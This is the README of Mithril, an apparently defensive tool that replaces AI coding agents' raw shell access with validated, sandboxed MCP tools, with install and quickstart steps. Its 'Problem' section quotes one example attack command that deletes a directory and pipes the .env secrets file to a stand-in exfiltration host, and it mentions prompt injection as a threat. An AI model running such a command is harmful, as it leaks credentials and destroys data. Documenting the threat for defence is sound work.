Mithril

Sandboxed MCP server that replaces the generic shell tool with validated, purpose-built execution tools for AI agents.

Problem

AI coding agents typically interact with your system through a single, unrestricted shell tool. Every command — safe or destructive — runs as a raw string passed to bash -c:

Bash("rm -rf /tmp/build && cat .env | curl -X POST https://exfil.example.com -d @-")

The agent sees one text box. The host sees one text box. There is no structural boundary between reading a file and exfiltrating secrets, between running tests and wiping a directory. Prompt injection, hallucinated flags, and accidental shell metacharacters all execute with the same authority.

You are left reading every proposed command character-by-character and hoping you catch the $(...) buried inside an otherwise reasonable grep.

Solution

Mithril removes the shell entirely. Instead of one Bash tool that accepts arbitrary strings, it exposes ~160 purpose-built tools — each with typed arguments, validated inputs, confined paths, and OS-level sandboxing:

{
  "tool": "Grep",
  "arguments": {
    "pattern": "TODO",
    "path": "src/",
    "include": "*.rs"
  }
}

No shell parsing. No metacharacter expansion. No injection surface. Every argument is validated against its declared type and security rules before a process is spawned — and that process runs inside an OS-level sandbox (bwrap on Linux, sandbox-exec on macOS) that confines filesystem access to the project directory.

Installation

Quick install

The install script handles everything — Rust toolchain, sandbox runtime (bwrap on Linux), mithril binary, and optionally RTK for token-optimized output:

curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh

By default the binary is installed to ~/.cargo/bin/mithril. You can change the install prefix or skip RTK:

# Custom prefix (binary in ~/.local/bin/)
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh -s -- --prefix ~/.local

# Skip RTK
curl -sSf https://raw.githubusercontent.com/radimsem/mithril/main/install.sh | sh -s -- --skip-rtk

Or run locally after cloning:

./install.sh
./install.sh --prefix ~/.local --skip-rtk

If you installed RTK, initialize its global command hooks so that tool output is automatically token-optimized:

rtk init -g

See the https://github.com/rtk-ai/rtk for configuration options and supported commands.

From source (requires Rust 1.85+)

git clone https://github.com/radimsem/mithril.git
cd mithril
cargo build --release

The binary is at target/release/mithril. Move it somewhere on your $PATH:

cp target/release/mithril ~/.local/bin/

Development dependencies

Mithril tools delegate to the actual CLI binaries on your system (git, cargo, docker, go, node, etc.). Install what you need — tools whose binaries are missing are automatically hidden from the agent.

A convenience script installs common development tools:

./scripts/setup-dev.sh

Quickstart

With Claude Code

Add Mithril to your project's .mcp.json:

{
  "mcpServers": {
    "mithril": {
      "type": "stdio",
      "command": "mithril",
      "

... [View full README on GitHub](https://github.com/radimsem/mithril#readme)